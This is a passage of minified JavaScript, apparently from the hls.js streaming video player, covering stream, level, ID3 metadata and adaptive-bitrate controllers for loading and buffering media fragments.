BUFFER_RESET"),this.hls.trigger(l.default.BUFFER_RESET),this.fragmentTracker.removeAllFragments(),this.stalled=!1,this.startPosition=this.lastCurrentTime=0},c.onManifestParsed=function(e){var t,r=!1,i=!1;e.levels.forEach((function(e){(t=e.audioCodec)&&(-1!==t.indexOf("mp4a.40.2")&&(r=!0),-1!==t.indexOf("mp4a.40.5")&&(i=!0))})),this.audioCodecSwitch=r&&i,this.audioCodecSwitch&&d.logger.log("both AAC/HE-AAC audio found in levels; declaring level codec as HE-AAC"),this.altAudio=e.altAudio,this.levels=e.levels,this.startFragRequested=!1;var n=this.config;(n.autoStartLoad||this.forceStartLoad)&&this.hls.startLoad(n.startPosition)},c.onLevelLoaded=function(e){var t=e.details,r=e.level,i=this.levels[this.levelLastLoaded],n=this.levels[r],s=t.totalduration,a=0;if(d.logger.log("level "+r+" loaded ["+t.startSN+","+t.endSN+"],duration:"+s),t.live||n.details&&n.details.live){var h=n.details;h&&t.fragments.length>0?(function(e,t){t.initSegment&&e.initSegment&&(t.initSegment=e.initSegment);var r,i=0;if(re(e,t,(function(e,n){i=e.cc-n.cc,Object(o.isFiniteNumber)(e.startPTS)&&(n.start=n.startPTS=e.startPTS,n.endPTS=e.endPTS,n.duration=e.duration,n.backtracked=e.backtracked,n.dropped=e.dropped,r=n),t.PTSKnown=!0})),t.PTSKnown){if(i){d.logger.log("discontinuity sliding from playlist, take drift into account");for(var n=t.fragments,s=0;s<n.length;s++)n[s].cc+=i}r?te(t,r,r.startPTS,r.endPTS,r.startDTS,r.endDTS):function(e,t){var r=t.startSN-e.startSN,i=e.fragments,n=t.fragments;if(!(r<0||r>i.length))for(var s=0;s<n.length;s++)n[s].start+=i[r].start}(e,t),t.PTSKnown=e.PTSKnown}}(h,t),a=t.fragments[0].start,this.liveSyncPosition=this.computeLivePosition(a,h),t.PTSKnown&&Object(o.isFiniteNumber)(a)?d.logger.log("live playlist sliding:"+a.toFixed(3)):(d.logger.log("live playlist - outdated PTS, unknown sliding"),se(this.fragPrevious,i,t))):(d.logger.log("live playlist - first load, unknown sliding"),t.PTSKnown=!1,se(this.fragPrevious,i,t))}else t.PTSKnown=!1;if(n.details=t,this.levelLastLoaded=r,this.hls.trigger(l.default.LEVEL_UPDATED,{details:t,level:r}),!1===this.startFragRequested){if(-1===this.startPosition||-1===this.lastCurrentTime){var u=t.startTimeOffset;Object(o.isFiniteNumber)(u)?(u<0&&(d.logger.log("negative start time offset "+u+", count from end of last fragment"),u=a+s+u),d.logger.log("start time offset found in playlist, adjust startPosition to "+u),this.startPosition=u):t.live?(this.startPosition=this.computeLivePosition(a,t),d.logger.log("configure startPosition to "+this.startPosition)):this.startPosition=0,this.lastCurrentTime=this.startPosition}this.nextLoadPosition=this.startPosition}this.state===be&&(this.state=ce),this.tick()},c.onKeyLoaded=function(){this.state===fe&&(this.state=ce,this.tick())},c.onFragLoaded=function(e){var t=this.fragCurrent,r=this.hls,i=this.levels,n=this.media,s=e.frag;if(this.state===ge&&t&&"main"===s.type&&s.level===t.level&&s.sn===t.sn){var a=e.stats,o=i[t.level],h=o.details;if(this.bitrateTest=!1,this.stats=a,d.logger.log("Loaded "+t.sn+" of ["+h.startSN+" ,"+h.endSN+"],level "+t.level),s.bitrateTest&&r.nextLoadLevel)this.state=ce,this.startFragRequested=!1,a.tparsed=a.tbuffered=window.performance.now(),r.trigger(l.default.FRAG_BUFFERED,{stats:a,frag:t,id:"main"}),this.tick();else if("initSegment"===s.sn)this.state=ce,a.tparsed=a.tbuffered=window.performance.now(),h.initSegment.data=e.payload,r.trigger(l.default.FRAG_BUFFERED,{stats:a,frag:t,id:"main"}),this.tick();else{d.logger.log("Parsing "+t.sn+" of ["+h.startSN+" ,"+h.endSN+"],level "+t.level+", cc "+t.cc),this.state=me,this.pendingBuffering=!0,this.appended=!1,s.bitrateTest&&(s.bitrateTest=!1,this.fragmentTracker.onFragLoaded({frag:s}));var u=!(n&&n.seeking)&&(h.PTSKnown||!h.live),c=h.initSegment?h.initSegment.data:[],f=this._getAudioCodec(o);(this.demuxer=this.demuxer||new Q(this.hls,"main")).push(e.payload,c,f,o.videoCodec,t,h.totalduration,u)}}this.fragLoadError=0},c.onFragParsingInitSegment=function(e){var t=this.fragCurrent,r=e.frag;if(t&&"main"===e.id&&r.sn===t.sn&&r.level===t.level&&this.state===me){var i,n,s=e.tracks;if(this.audioOnly=s.audio&&!s.video,this.altAudio&&!this.audioOnly&&delete s.audio,n=s.audio){var a=this.levels[this.level].audioCodec,o=navigator.userAgent.toLowerCase();a&&this.audioCodecSwap&&(d.logger.log("swapping playlist audio codec"),a=-1!==a.indexOf("mp4a.40.5")?"mp4a.40.2":"mp4a.40.5"),this.audioCodecSwitch&&1!==n.metadata.channelCount&&-1===o.indexOf("firefox")&&(a="mp4a.40.5"),-1!==o.indexOf("android")&&"audio/mpeg"!==n.container&&(a="mp4a.40.2",d.logger.log("Android: force audio codec to "+a)),n.levelCodec=a,n.id=e.id}for(i in(n=s.video)&&(n.levelCodec=this.levels[this.level].videoCodec,n.id=e.id),this.hls.trigger(l.default.BUFFER_CODECS,s),s){n=s[i],d.logger.log("main track:"+i+",container:"+n.container+",codecs[level/parsed]=["+n.levelCodec+"/"+n.codec+"]");var h=n.initSegment;h&&(this.appended=!0,this.pendingBuffering=!0,this.hls.trigger(l.default.BUFFER_APPENDING,{type:i,data:h,parent:"main",content:"initSegment"}))}this.tick()}},c.onFragParsingData=function(e){var t=this,r=this.fragCurrent,i=e.frag;if(r&&"main"===e.id&&i.sn===r.sn&&i.level===r.level&&("audio"!==e.type||!this.altAudio)&&this.state===me){var n=this.levels[this.level],s=r;if(Object(o.isFiniteNumber)(e.endPTS)||(e.endPTS=e.startPTS+r.duration,e.endDTS=e.startDTS+r.duration),!0===e.hasAudio&&s.addElementaryStream(p.AUDIO),!0===e.hasVideo&&s.addElementaryStream(p.VIDEO),d.logger.log("Parsed "+e.type+",PTS:["+e.startPTS.toFixed(3)+","+e.endPTS.toFixed(3)+"],DTS:["+e.startDTS.toFixed(3)+"/"+e.endDTS.toFixed(3)+"],nb:"+e.nb+",dropped:"+(e.dropped||0)),"video"===e.type)if(s.dropped=e.dropped,s.dropped)if(s.backtracked)d.logger.warn("Already backtracked on this fragment, appending with the gap",s.sn);else{var a=n.details;if(!a||s.sn!==a.startSN)return d.logger.warn("missing video frame(s), backtracking fragment",s.sn),this.fragmentTracker.removeFragment(s),s.backtracked=!0,this.nextLoadPosition=e.startPTS,this.state=ce,this.fragPrevious=s,this.demuxer&&(this.demuxer.destroy(),this.demuxer=null),void this.tick();d.logger.warn("missing video frame(s) on first frag, appending with gap",s.sn)}else s.backtracked=!1;var h=te(n.details,s,e.startPTS,e.endPTS,e.startDTS,e.endDTS),u=this.hls;u.trigger(l.default.LEVEL_PTS_UPDATED,{details:n.details,level:this.level,drift:h,type:e.type,start:e.startPTS,end:e.endPTS}),[e.data1,e.data2].forEach((function(r){r&&r.length&&t.state===me&&(t.appended=!0,t.pendingBuffering=!0,u.trigger(l.default.BUFFER_APPENDING,{type:e.type,data:r,parent:"main",content:"data"}))})),this.tick()}},c.onFragParsed=function(e){var t=this.fragCurrent,r=e.frag;t&&"main"===e.id&&r.sn===t.sn&&r.level===t.level&&this.state===me&&(this.stats.tparsed=window.performance.now(),this.state=ve,this._checkAppendedParsed())},c.onAudioTrackSwitching=function(e){var t=this.altAudio,r=!!e.url,i=e.id;if(!r){if(this.mediaBuffer!==this.media){d.logger.log("switching on main audio, use media.buffered to schedule main fragment loading"),this.mediaBuffer=this.media;var n=this.fragCurrent;n.loader&&(d.logger.log("switching to main audio track, cancel main fragment load"),n.loader.abort()),this.fragCurrent=null,this.fragPrevious=null,this.demuxer&&(this.demuxer.destroy(),this.demuxer=null),this.state=ce}var s=this.hls;t&&s.trigger(l.default.BUFFER_FLUSHING,{startOffset:0,endOffset:Number.POSITIVE_INFINITY,type:"audio"}),s.trigger(l.default.AUDIO_TRACK_SWITCHED,{id:i})}},c.onAudioTrackSwitched=function(e){var t=e.id,r=!!this.hls.audioTracks[t].url;if(r){var i=this.videoBuffer;i&&this.mediaBuffer!==i&&(d.logger.log("switching on alternate audio, use video.buffered to schedule main fragment loading"),this.mediaBuffer=i)}this.altAudio=r,this.tick()},c.onBufferCreated=function(e){var t,r,i=e.tracks,n=!1;for(var s in i){var a=i[s];"main"===a.id?(r=s,t=a,"video"===s&&(this.videoBuffer=i[s].buffer)):n=!0}n&&t?(d.logger.log("alternate track found, use "+r+".buffered to schedule main fragment loading"),this.mediaBuffer=t.buffer):this.mediaBuffer=this.media},c.onBufferAppended=function(e){if("main"===e.parent){var t=this.state;t!==me&&t!==ve||(this.pendingBuffering=e.pending>0,this._checkAppendedParsed())}},c._checkAppendedParsed=function(){if(!(this.state!==ve||this.appended&&this.pendingBuffering)){var e=this.fragCurrent;if(e){var t=this.mediaBuffer?this.mediaBuffer:this.media;d.logger.log("main buffered : "+ie.toString(t.buffered)),this.fragPrevious=e;var r=this.stats;r.tbuffered=window.performance.now(),this.fragLastKbps=Math.round(8*r.total/(r.tbuffered-r.tfirst)),this.hls.trigger(l.default.FRAG_BUFFERED,{stats:r,frag:e,id:"main"}),this.state=ce}(this.loadedmetadata||this.startPosition<=0)&&this.tick()}},c.onError=function(e){var t=e.frag||this.fragCurrent;if(!t||"main"===t.type){var r=!!this.media&&H.isBuffered(this.media,this.media.currentTime)&&H.isBuffered(this.media,this.media.currentTime+.5);switch(e.details){case a.ErrorDetails.FRAG_LOAD_ERROR:case a.ErrorDetails.FRAG_LOAD_TIMEOUT:case a.ErrorDetails.KEY_LOAD_ERROR:case a.ErrorDetails.KEY_LOAD_TIMEOUT:if(!e.fatal)if(this.fragLoadError+1<=this.config.fragLoadingMaxRetry){var i=Math.min(Math.pow(2,this.fragLoadError)*this.config.fragLoadingRetryDelay,this.config.fragLoadingMaxRetryTimeout);d.logger.warn("mediaController: frag loading failed, retry in "+i+" ms"),this.retryDate=window.performance.now()+i,this.loadedmetadata||(this.startFragRequested=!1,this.nextLoadPosition=this.startPosition),this.fragLoadError++,this.state=pe}else d.logger.error("mediaController: "+e.details+" reaches max retry, redispatch as fatal ..."),e.fatal=!0,this.state=Ee;break;case a.ErrorDetails.LEVEL_LOAD_ERROR:case a.ErrorDetails.LEVEL_LOAD_TIMEOUT:this.state!==Ee&&(e.fatal?(this.state=Ee,d.logger.warn("streamController: "+e.details+",switch to "+this.state+" state ...")):e.levelRetry||this.state!==be||(this.state=ce));break;case a.ErrorDetails.BUFFER_FULL_ERROR:"main"!==e.parent||this.state!==me&&this.state!==ve||(r?(this._reduceMaxBufferLength(this.config.maxBufferLength),this.state=ce):(d.logger.warn("buffer full error also media.currentTime is not buffered, flush everything"),this.fragCurrent=null,this.flushMainBuffer(0,Number.POSITIVE_INFINITY)))}}},c._reduceMaxBufferLength=function(e){var t=this.config;return t.maxMaxBufferLength>=e&&(t.maxMaxBufferLength/=2,d.logger.warn("main:reduce max buffer length to "+t.maxMaxBufferLength+"s"),!0)},c._checkBuffer=function(){var e=this.media;if(e&&0!==e.readyState){var t=(this.mediaBuffer?this.mediaBuffer:e).buffered;!this.loadedmetadata&&t.length?(this.loadedmetadata=!0,this._seekToStartPos()):this.immediateSwitch?this.immediateLevelSwitchEnd():this.gapController.poll(this.lastCurrentTime,t)}},c.onFragLoadEmergencyAborted=function(){this.state=ce,this.loadedmetadata||(this.startFragRequested=!1,this.nextLoadPosition=this.startPosition),this.tick()},c.onBufferFlushed=function(){var e=this.mediaBuffer?this.mediaBuffer:this.media;if(e){var t=this.audioOnly?p.AUDIO:p.VIDEO;this.fragmentTracker.detectEvictedFragments(t,e.buffered)}this.state=ce,this.fragPrevious=null},c.onLevelsUpdated=function(e){this.levels=e.levels},c.swapAudioCodec=function(){this.audioCodecSwap=!this.audioCodecSwap},c._seekToStartPos=function(){var e=this.media,t=e.currentTime,r=this.startPosition;if(t!==r&&r>=0){if(e.seeking)return void d.logger.log("could not seek to "+r+", already seeking at "+t);var i=(e.buffered.length?e.buffered.start(0):0)-r;i>0&&i<this.config.maxBufferHole&&(d.logger.log("adjusting start position by "+i+" to match buffer start"),r+=i,this.startPosition=r),d.logger.log("seek to target start position "+r+" from current time "+t+". ready state "+e.readyState),e.currentTime=r}},c._getAudioCodec=function(e){var t=this.config.defaultAudioCodec||e.audioCodec;return this.audioCodecSwap&&(d.logger.log("swapping playlist audio codec"),t&&(t=-1!==t.indexOf("mp4a.40.5")?"mp4a.40.2":"mp4a.40.5")),t},s=i,(h=[{key:"state",set:function(e){if(this.state!==e){var t=this.state;this._state=e,d.logger.log("main stream-controller: "+t+"->"+e),this.hls.trigger(l.default.STREAM_STATE_TRANSITION,{previousState:t,nextState:e})}},get:function(){return this._state}},{key:"currentLevel",get:function(){var e=this.media;if(e){var t=this.getBufferedFrag(e.currentTime);if(t)return t.level}return-1}},{key:"nextBufferedFrag",get:function(){var e=this.media;return e?this.followingBufferedFrag(this.getBufferedFrag(e.currentTime)):null}},{key:"nextLevel",get:function(){var e=this.nextBufferedFrag;return e?e.level:-1}},{key:"liveSyncPosition",get:function(){return this._liveSyncPosition},set:function(e){this._liveSyncPosition=e}}])&&Te(s.prototype,h),u&&Te(s,u),i}(Se);function Pe(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var Le=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.MANIFEST_LOADED,l.default.LEVEL_LOADED,l.default.AUDIO_TRACK_SWITCHED,l.default.FRAG_LOADED,l.default.ERROR)||this).canload=!1,r.currentLevelIndex=null,r.manualLevelIndex=-1,r.timer=null,we=/chrome|firefox/.test(navigator.userAgent.toLowerCase()),r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n,s,o,h=i.prototype;return h.onHandlerDestroying=function(){this.clearTimer(),this.manualLevelIndex=-1},h.clearTimer=function(){null!==this.timer&&(clearTimeout(this.timer),this.timer=null)},h.startLoad=function(){var e=this._levels;this.canload=!0,this.levelRetryCount=0,e&&e.forEach((function(e){e.loadError=0;var t=e.details;t&&t.live&&(e.details=void 0)})),null!==this.timer&&this.loadLevel()},h.stopLoad=function(){this.canload=!1},h.onManifestLoaded=function(e){var t,r=[],i=[],n={},s=null,o=!1,h=!1;if(e.levels.forEach((function(e){var t=e.attrs;e.loadError=0,e.fragmentError=!1,o=o||!!e.videoCodec,h=h||!!e.audioCodec,we&&e.audioCodec&&-1!==e.audioCodec.indexOf("mp4a.40.34")&&(e.audioCodec=void 0),(s=n[e.bitrate])?s.url.push(e.url):(e.url=[e.url],e.urlId=0,n[e.bitrate]=e,r.push(e)),t&&(t.AUDIO&&Z(s||e,"audio",t.AUDIO),t.SUBTITLES&&Z(s||e,"text",t.SUBTITLES))})),o&&h&&(r=r.filter((function(e){return!!e.videoCodec}))),r=r.filter((function(e){var t=e.audioCodec,r=e.videoCodec;return(!t||A(t,"audio"))&&(!r||A(r,"video"))})),e.audioTracks&&(i=e.audioTracks.filter((function(e){return!e.audioCodec||A(e.audioCodec,"audio")}))).forEach((function(e,t){e.id=t})),r.length>0){t=r[0].bitrate,r.sort((function(e,t){return e.bitrate-t.bitrate})),this._levels=r;for(var u=0;u<r.length;u++)if(r[u].bitrate===t){this._firstLevel=u,d.logger.log("manifest loaded,"+r.length+" level(s) found, first bitrate:"+t);break}var c=h&&!o;this.hls.trigger(l.default.MANIFEST_PARSED,{levels:r,audioTracks:i,firstLevel:this._firstLevel,stats:e.stats,audio:h,video:o,altAudio:!c&&i.some((function(e){return!!e.url}))})}else this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.MANIFEST_INCOMPATIBLE_CODECS_ERROR,fatal:!0,url:this.hls.url,reason:"no level with compatible codecs found in manifest"})},h.setLevelInternal=function(e){var t=this._levels,r=this.hls;if(e>=0&&e<t.length){if(this.clearTimer(),this.currentLevelIndex!==e){d.logger.log("switching to level "+e),this.currentLevelIndex=e;var i=t[e];i.level=e,r.trigger(l.default.LEVEL_SWITCHING,i)}var n=t[e],s=n.details;if(!s||s.live){var o=n.urlId;r.trigger(l.default.LEVEL_LOADING,{url:n.url[o],level:e,id:o})}}else r.trigger(l.default.ERROR,{type:a.ErrorTypes.OTHER_ERROR,details:a.ErrorDetails.LEVEL_SWITCH_ERROR,level:e,fatal:!1,reason:"invalid level idx"})},h.onError=function(e){if(e.fatal)e.type===a.ErrorTypes.NETWORK_ERROR&&this.clearTimer();else{var t,r=!1,i=!1;switch(e.details){case a.ErrorDetails.FRAG_LOAD_ERROR:case a.ErrorDetails.FRAG_LOAD_TIMEOUT:case a.ErrorDetails.KEY_LOAD_ERROR:case a.ErrorDetails.KEY_LOAD_TIMEOUT:t=e.frag.level,i=!0;break;case a.ErrorDetails.LEVEL_LOAD_ERROR:case a.ErrorDetails.LEVEL_LOAD_TIMEOUT:t=e.context.level,r=!0;break;case a.ErrorDetails.REMUX_ALLOC_ERROR:t=e.level,r=!0}void 0!==t&&this.recoverLevel(e,t,r,i)}},h.recoverLevel=function(e,t,r,i){var n,s,a,o=this,l=this.hls.config,h=e.details,u=this._levels[t];if(u.loadError++,u.fragmentError=i,r){if(!(this.levelRetryCount+1<=l.levelLoadingMaxRetry))return d.logger.error("level controller, cannot recover from "+h+" error"),this.currentLevelIndex=null,this.clearTimer(),void(e.fatal=!0);s=Math.min(Math.pow(2,this.levelRetryCount)*l.levelLoadingRetryDelay,l.levelLoadingMaxRetryTimeout),this.timer=setTimeout((function(){return o.loadLevel()}),s),e.levelRetry=!0,this.levelRetryCount++,d.logger.warn("level controller, "+h+", retry in "+s+" ms, current retry count is "+this.levelRetryCount)}(r||i)&&((n=u.url.length)>1&&u.loadError<n?(u.urlId=(u.urlId+1)%n,u.details=void 0,d.logger.warn("level controller, "+h+" for level "+t+": switching to redundant URL-id "+u.urlId)):-1===this.manualLevelIndex?(a=0===t?this._levels.length-1:t-1,d.logger.warn("level controller, "+h+": switch to "+a),this.hls.nextAutoLevel=this.currentLevelIndex=a):i&&(d.logger.warn("level controller, "+h+": reload a fragment"),this.currentLevelIndex=null))},h.onFragLoaded=function(e){var t=e.frag;if(void 0!==t&&"main"===t.type){var r=this._levels[t.level];void 0!==r&&(r.fragmentError=!1,r.loadError=0,this.levelRetryCount=0)}},h.onLevelLoaded=function(e){var t=this,r=e.level,i=e.details;if(r===this.currentLevelIndex){var n=this._levels[r];if(n.fragmentError||(n.loadError=0,this.levelRetryCount=0),i.live){var s=function(e,t,r){var i=1e3*(t.averagetargetduration?t.averagetargetduration:t.targetduration),n=i/2;return e&&t.endSN===e.endSN&&(i=n),r&&(i=Math.max(n,i-(window.performance.now()-r))),Math.round(i)}(n.details,i,e.stats.trequest);d.logger.log("live playlist, reload in "+Math.round(s)+" ms"),this.timer=setTimeout((function(){return t.loadLevel()}),s)}else this.clearTimer()}},h.onAudioTrackSwitched=function(e){var t=this.hls.audioTracks[e.id].groupId,r=this.hls.levels[this.currentLevelIndex];if(r&&r.audioGroupIds){for(var i=-1,n=0;n<r.audioGroupIds.length;n++)if(r.audioGroupIds[n]===t){i=n;break}i!==r.urlId&&(r.urlId=i,this.startLoad())}},h.loadLevel=function(){if(d.logger.debug("call to loadLevel"),null!==this.currentLevelIndex&&this.canload){var e=this._levels[this.currentLevelIndex];if("object"==typeof e&&e.url.length>0){var t=this.currentLevelIndex,r=e.urlId,i=e.url[r];d.logger.log("Attempt loading level index "+t+" with URL-id "+r),this.hls.trigger(l.default.LEVEL_LOADING,{url:i,level:t,id:r})}}},h.removeLevel=function(e,t){var r=this.levels.filter((function(r,i){return i!==e||r.url.length>1&&void 0!==t&&(r.url=r.url.filter((function(e,r){return r!==t})),r.urlId=0,!0)})).map((function(e,t){var r=e.details;return r&&r.fragments&&r.fragments.forEach((function(e){e.level=t})),e}));this._levels=r,this.hls.trigger(l.default.LEVELS_UPDATED,{levels:r})},n=i,(s=[{key:"levels",get:function(){return this._levels}},{key:"level",get:function(){return this.currentLevelIndex},set:function(e){var t=this._levels;t&&(e=Math.min(e,t.length-1),this.currentLevelIndex===e&&t[e].details||this.setLevelInternal(e))}},{key:"manualLevel",get:function(){return this.manualLevelIndex},set:function(e){this.manualLevelIndex=e,void 0===this._startLevel&&(this._startLevel=e),-1!==e&&(this.level=e)}},{key:"firstLevel",get:function(){return this._firstLevel},set:function(e){this._firstLevel=e}},{key:"startLevel",get:function(){if(void 0===this._startLevel){var e=this.hls.config.startLevel;return void 0!==e?e:this._firstLevel}return this._startLevel},set:function(e){this._startLevel=e}},{key:"nextLoadLevel",get:function(){return-1!==this.manualLevelIndex?this.manualLevelIndex:this.hls.nextAutoLevel},set:function(e){this.level=e,-1===this.manualLevelIndex&&(this.hls.nextAutoLevel=e)}}])&&Pe(n.prototype,s),o&&Pe(n,o),i}(c),Re=r("./src/demux/id3.js");function Ie(e,t){var r;try{r=new Event("addtrack")}catch(e){(r=document.createEvent("Event")).initEvent("addtrack",!1,!1)}r.track=e,t.dispatchEvent(r)}var De=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.MEDIA_ATTACHED,l.default.MEDIA_DETACHING,l.default.FRAG_PARSING_METADATA,l.default.LIVE_BACK_BUFFER_REACHED)||this).id3Track=void 0,r.media=void 0,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){c.prototype.destroy.call(this)},n.onMediaAttached=function(e){this.media=e.media,this.media},n.onMediaDetaching=function(){!function(e){if(null==e?void 0:e.cues)for(;e.cues.length>0;)e.removeCue(e.cues[0])}(this.id3Track),this.id3Track=void 0,this.media=void 0},n.getID3Track=function(e){for(var t=0;t<e.length;t++){var r=e[t];if("metadata"===r.kind&&"id3"===r.label)return Ie(r,this.media),r}return this.media.addTextTrack("metadata","id3")},n.onFragParsingMetadata=function(e){var t=e.frag,r=e.samples;this.id3Track||(this.id3Track=this.getID3Track(this.media.textTracks),this.id3Track.mode="hidden");for(var i=window.WebKitDataCue||window.VTTCue||window.TextTrackCue,n=0;n<r.length;n++){var s=Re.default.getID3Frames(r[n].data);if(s){var a=Math.max(r[n].pts,0),o=n<r.length-1?r[n+1].pts:t.endPTS;o||(o=t.start+t.duration),o-a<=0&&(o=a+.25);for(var l=0;l<s.length;l++){var d=s[l];if(!Re.default.isTimeStampFrame(d)){var h=new i(a,o,"");h.value=d,this.id3Track.addCue(h)}}}}},n.onLiveBackBufferReached=function(e){var t=e.bufferEnd,r=this.id3Track;if(r&&r.cues&&r.cues.length){var i=function(e,t){if(t<e[0].endTime)return e[0];if(t>e[e.length-1].endTime)return e[e.length-1];for(var r=0,i=e.length-1;r<=i;){var n=Math.floor((i+r)/2);if(t<e[n].endTime)i=n-1;else{if(!(t>e[n].endTime))return e[n];r=n+1}}return e[r].endTime-t<t-e[i].endTime?e[r]:e[i]}(r.cues,t);if(i)for(;r.cues[0]!==i;)r.removeCue(r.cues[0])}},i}(c),Ce=function(){function e(e){this.alpha_=void 0,this.estimate_=void 0,this.totalWeight_=void 0,this.alpha_=e?Math.exp(Math.log(.5)/e):0,this.estimate_=0,this.totalWeight_=0}var t=e.prototype;return t.sample=function(e,t){var r=Math.pow(this.alpha_,e);this.estimate_=t*(1-r)+r*this.estimate_,this.totalWeight_+=e},t.getTotalWeight=function(){return this.totalWeight_},t.getEstimate=function(){if(this.alpha_){var e=1-Math.pow(this.alpha_,this.totalWeight_);return this.estimate_/e}return this.estimate_},e}(),ke=function(){function e(e,t,r,i){this.hls=void 0,this.defaultEstimate_=void 0,this.minWeight_=void 0,this.minDelayMs_=void 0,this.slow_=void 0,this.fast_=void 0,this.hls=e,this.defaultEstimate_=i,this.minWeight_=.001,this.minDelayMs_=50,this.slow_=new Ce(t),this.fast_=new Ce(r)}var t=e.prototype;return t.sample=function(e,t){var r=(e=Math.max(e,this.minDelayMs_))/1e3,i=8*t/r;this.fast_.sample(r,i),this.slow_.sample(r,i)},t.canEstimate=function(){var e=this.fast_;return e&&e.getTotalWeight()>=this.minWeight_},t.getEstimate=function(){return this.canEstimate()?Math.min(this.fast_.getEstimate(),this.slow_.getEstimate()):this.defaultEstimate_},t.destroy=function(){},e}();function xe(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var Oe=window.performance,Me=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.FRAG_LOADING,l.default.FRAG_LOADED,l.default.FRAG_BUFFERED,l.default.ERROR)||this).lastLoadedFragLevel=0,r._nextAutoLevel=-1,r.hls=t,r.timer=null,r._bwEstimator=null,r.onCheck=r._abandonRulesCheck.bind(function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(r)),r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n,s,h,u=i.prototype;return u.destroy=function(){this.clearTimer(),c.prototype.destroy.call(this)},u.onFragLoading=function(e){var t=e.frag;if("main"===t.type&&(this.timer||(this.fragCurrent=t,this.timer=setInterval(this.onCheck,100)),!this._bwEstimator)){var r,i,n=this.hls,s=n.config,a=t.level;n.levels[a].details.live?(r=s.abrEwmaFastLive,i=s.abrEwmaSlowLive):(r=s.abrEwmaFastVoD,i=s.abrEwmaSlowVoD),this._bwEstimator=new ke(n,i,r,s.abrEwmaDefaultEstimate)}},u._abandonRulesCheck=function(){var e=this.hls,t=e.media,r=this.fragCurrent;if(r){var i=r.loader;if(!i||i.stats&&i.stats.aborted)return d.logger.warn("frag loader destroy or aborted, disarm abandonRules"),this.clearTimer(),void(this._nextAutoLevel=-1);var n=i.stats;if(t&&n&&(!t.paused&&0!==t.playbackRate||!t.readyState)&&r.autoLevel&&r.level){var s=Oe.now()-n.trequest,a=Math.abs(t.playbackRate);if(s>500*r.duration/a){var o=e.levels,h=Math.max(1,n.bw?n.bw/8:1e3*n.loaded/s),u=o[r.level];if(!u)return;var c=u.realBitrate?Math.max(u.realBitrate,u.bitrate):u.bitrate,f=n.total?n.total:Math.max(n.loaded,Math.round(r.duration*c/8)),g=t.currentTime,p=(f-n.loaded)/h,m=(H.bufferInfo(t,g,e.config.maxBufferHole).end-g)/a;if(m<2*r.duration/a&&p>m){var v,_,y=e.minAutoLevel;for(_=r.level-1;_>y;_--){var E=o[_].realBitrate?Math.max(o[_].realBitrate,o[_].bitrate):o[_].bitrate;if(r.duration*E/(6.4*h)<m)break}v<p&&(d.logger.warn("loading too slow, abort fragment loading and switch to level "+_+":fragLoadedDelay["+_+"]<fragLoadedDelay["+(r.level-1)+"];bufferStarvationDelay:"+v.toFixed(1)+"<"+p.toFixed(1)+":"+m.toFixed(1)),e.nextLoadLevel=_,this._bwEstimator.sample(s,n.loaded),i.abort(),this.clearTimer(),e.trigger(l.default.FRAG_LOAD_EMERGENCY_ABORTED,{frag:r,stats:n}))}}}}},u.onFragLoaded=function(e){var t=e.frag;if("main"===t.type&&Object(o.isFiniteNumber)(t.sn)){if(this.clearTimer(),this.lastLoadedFragLevel=t.level,this._nextAutoLevel=-1,this.hls.config.abrMaxWithRealBitrate){var r=this.hls.levels[t.level],i=(r.loaded?r.loaded.bytes:0)+e.stats.loaded,n=(r.loaded?r.loaded.duration:0)+e.frag.duration;r.loaded={bytes:i,duration:n},r.realBitrate=Math.round(8*i/n)}if(e.frag.bitrateTest){var s=e.stats;s.tparsed=s.tbuffered=s.tload,this.onFragBuffered(e)}}},u.onFragBuffered=function(e){var t=e.stats,r=e.frag;if(!0!==t.aborted&&"main"===r.type&&Object(o.isFiniteNumber)(r.sn)&&(!r.bitrateTest||t.tload===t.tbuffered)){var i=t.tparsed-t.trequest;d.logger.log("latency/loading/parsing/append/kbps:"+Math.round(t.tfirst-t.trequest)+"/"+Math.round(t.tload-t.tfirst)+"/"+Math.round(t.tparsed-t.tload)+"/"+Math.round(t.tbuffered-t.tparsed)+"/"+Math.round(8*t.loaded/(t.tbuffered-t.trequest))),this._bwEstimator.sample(i,t.loaded),t.bwEstimate=this._bwEstimator.getEstimate(),r.bitrateTest?this.bitrateTestDelay=i/1e3:this.bitrateTestDelay=0}},u.onError=function(e){switch(e.details){case a.ErrorDetails.FRAG_LOAD_ERROR:case a.ErrorDetails.FRAG_LOAD_TIMEOUT:this.clearTimer()}},u.clearTimer=function(){clearInterval(this.timer),this.timer=null},u._findBestLevel=function(e,t,r,i,n,s,a,o,l){for(var h=n;h>=i;h--){var u=l[h];if(u){var c=u.details,f=c?c.totalduration/c.fragments.length:t,g=!!c&&c.live,p=void 0;p=h<=e?a*r:o*r;var m=l[h].realBitrate?Math.max(l[h].realBitrate,l[h].bitrate):l[h].bitrate,v=m*f/p;if(d.logger.trace("level/adjustedbw/bitrate/avgDuration/maxFetchDuration/fetchDuration: "+h+"/"+Math.round(p)+"/"+m+"/"+f+"/"+s+"/"+v),p>m&&(!v||g&&!this.bitrateTestDelay||v<s))return h}}return-1},n=i,(s=[{key:"nextAutoLevel",get:function(){var e=this._nextAutoLevel,t=this._bwEstimator;if(!(-1===e||t&&t.canEstimate()))return e;var r=this._nextABRAutoLevel;return-1!==e&&(r=Math.min(e,r)),r},set:function(e){this._nextAutoLevel=e}},{key:"_nextABRAutoLevel",get:function(){var 